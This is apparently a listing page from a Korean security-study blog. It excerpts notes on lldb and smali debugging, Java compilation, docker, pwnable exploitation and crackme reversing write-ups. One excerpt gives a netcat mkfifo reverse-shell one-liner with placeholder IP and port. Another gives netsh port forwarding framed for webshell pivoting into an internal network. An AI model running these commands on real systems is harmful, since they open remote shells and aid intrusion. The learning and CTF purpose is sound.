목록분류 전체보기 (37)
kaka09
#info shared image list #브포 br s -a 0x0000000104138000+0x60b8 #레지스터 출력 p/x $x0 #레지스터 수정 register write x0 0x0000000000000001 #브레이크 포인트 리스트 breakpoint list #브포 삭제 br delete n #어셈블리 보기 disassemble --start-address 0x0000000104830000+0x4066c #attach process attach --name APPNAME --waitfor
컴파일 할 자바 파일: test1.java, test2.java 패키지명: kaka 현재경로: C:\Users\xxxx\Desktop\test 클래스 경로: ./test/classes 컴파일 명령어 javac -d ./classes test1.java test2.java -encoding UTF8 -classpath "C:\Users\xxxx\Desktop\test1.jar;C\Users\xxxx\Desktop\test2.jar;C:\Users\xxxx\Desktop\test3.jar" -d 옵션은 클래스파일 생성할 경로를 입력, 컴파일 완료 시 "[패키지명]/[파일명].class" 생성 -encoding 옵션은 컴파일 시 인코딩 에러 발생하면 인코딩 형식에 맞게 지정해줄 것 classpath는 외부 j..
netsh interface portproxy add v4tov4 listenport=22 listenaddress=192.168.0.2 connectport=4444 connectaddress=192.168.68.129 192.168.0.2:22(host)로 들어오는 패킷을 192.168.68.129:4444(VM) 로 포워딩 웹쉘 내부망 침투 시 공격자의 리스닝 환경이 호스트가 아닌 VM NAT 환경일 경우 사용 웹쉘이 업로드된 웹서버에서 VM NAT로 직접 접근하기 어려우므로 위와 같이 host에서 포트포워딩을 시켜줘야함 netsh interface portproxy add v4tov4 listenport=80 listenaddress=0.0.0.0 connectport=4444 connectadd..
//Log.d("TAG","debugtest"); const-string v0, "TAG" const-string v1, "debugtest" invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I //Debug.waitForDebugger() 디버거로 어태치 되기 전 까지 코드실행을 멈춤 invoke-static {}, Landroid/os/Debug;->waitForDebugger()V //if(1!=0){ } const/4 v0, 0x1 .local v0, "i":Z if-eqz v0, :cond_0 ~~~~~~~~구문~~~~~~ :cond_0
docker exec -it [컨테이너id] /bin/bash
여태까지 포너블 공부를 함에 있어서 local환경에서 메모리 보호기법 없이 단순히 공격기법들의 원리만 파악하기 위한 공부를 했었다.(깊이가 없는..)따라서 이번에는 메모리 보호기법이 적용된 상태에서 원격(로컬을 원격처럼)으로 익스플로잇 하는 방법들을 공부해볼 생각으로 본 포스팅을 작성할 예정이다. [사진]1-1 위 사진은 해당 바이너리를 IDA의 Hex-Rays를 통해 소스코드를 복원한 내용이다. 내용을 살펴보면 1~4번까지 메뉴를 선택할 수 있다. 랜덤으로 설정된 가격을 기준으로 코인을 사고 파는 형태의 프로그램으로 판단 할 수 있다. 취약점 벡터는 46번째 줄에서 발생한다. 사진에는 안안나와 있지만 v6 변수는 bp-14h 영역에 할당된다. 하지만 46번째 줄에서 scanf로 입력 받을때 50 바이트..
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ADDRESS] [PORT] >/tmp/f
[사진]1-1 프로그램을 실행시키면 조그만한 박스와 함께 그림을 그릴 수 있다. 아무 그림이나 그린 상태에서 Check 버튼을 클릭하면 오른쪽 사진처럼 Wrong 이라는 메세지 박스가 출력된다. 즉, 그림과 그림을 비교하는것 같은데 값을 어떻게 비교하는지, 어떤 값을 넣어야 되는지 살펴보기 위해 디버깅을 시도해보았다. [사진]1-2 해당 사진은 그림 비교시 틀렸을때 분기하는 구문이다. 일단 좀 더 위에 있는 구문을 살펴보기로 하자(비교문을 알기위해) [사진]1-3 반복문 아래 비교하는 구문이 2개 존재한다. 첫째로 DL,BL 을 비교하여 같지 않을시 [사진]1-2 영역으로 분기하고, 둘째로는 EDI와 15F90을 비교한다. 좀 더 정확한 분석을 위해 아이다로 다시 디버깅을 시도해 보았다. [사진]1-4 ..
[사진]4-1 Replace 란 제목의 실행파일이 주어졌다. 실행하면 무언가 입력값을 받을 수 있는데 오직 숫자만 받을 수 있다. 숫자를 입력하고 Check 버튼을 누르면 위 사진처럼 에러가 발생한다. 처음에는 호환성 문제인줄 알고 다른 컴퓨터에서도 실행해봤지만 똑같이 에러가 발생했다.. 먼가 싶어서 인터넷을 찾아보다 그냥 의도된 에러라고 한다.. 즉 일부러 이렇게 만들었다는 이야기인데.. 왜 그런지 알기 위해 디버깅을 시도했다. [사진]4-2 숫자를 입력하고 check를 클릭했을 때 0040466F의 명령을 실행하는데.. 문제는 EAX에 적재되어 있는 값 즉, 60160646 이라는 주소에 NOP를 덮어 쓴다는거다. 60XXXXX으로 시작하는 주소는 당연히 접근할 수 없다. 접근할 수 없는 영역에 값을..
[사진]3-1 파일을 실행하였더니 흰 바탕만 있는 창이 나타난다. 패킹이 되어서 제대로 실행이 안된건지 아님 원래 이렇게 의도한건지는 디버깅을 통해 분석 해봐야 알 것같다. Readme.txt를 읽어보면 OEP를 찾으라고 되어있다. OEP의 주소가 이번 문제의 정답이라 할 수 있겠다. 일단 해당 파일이 어떠판 패킹이 적용되었는지 파악하기 위해 PEID 라는 프로그램을 이용해 확인하였다. [사진]3-2 PEID로 확인해본 결과 무엇으로 패킹되었는지 찾을 수 없다고 한다. 일단 OEP를 찾는 문제이니 디버깅을 해보도록 하자 [사진]3-3 패킹이 되어있기 때문에 일반적인 어셈블리어와 좀 다르다. 예전 CodeEngn 문제를 풀때 OEP는 하단에 POP AD 밑에 JMP 문을 통해 OEP로 이동하는것을 배웠다...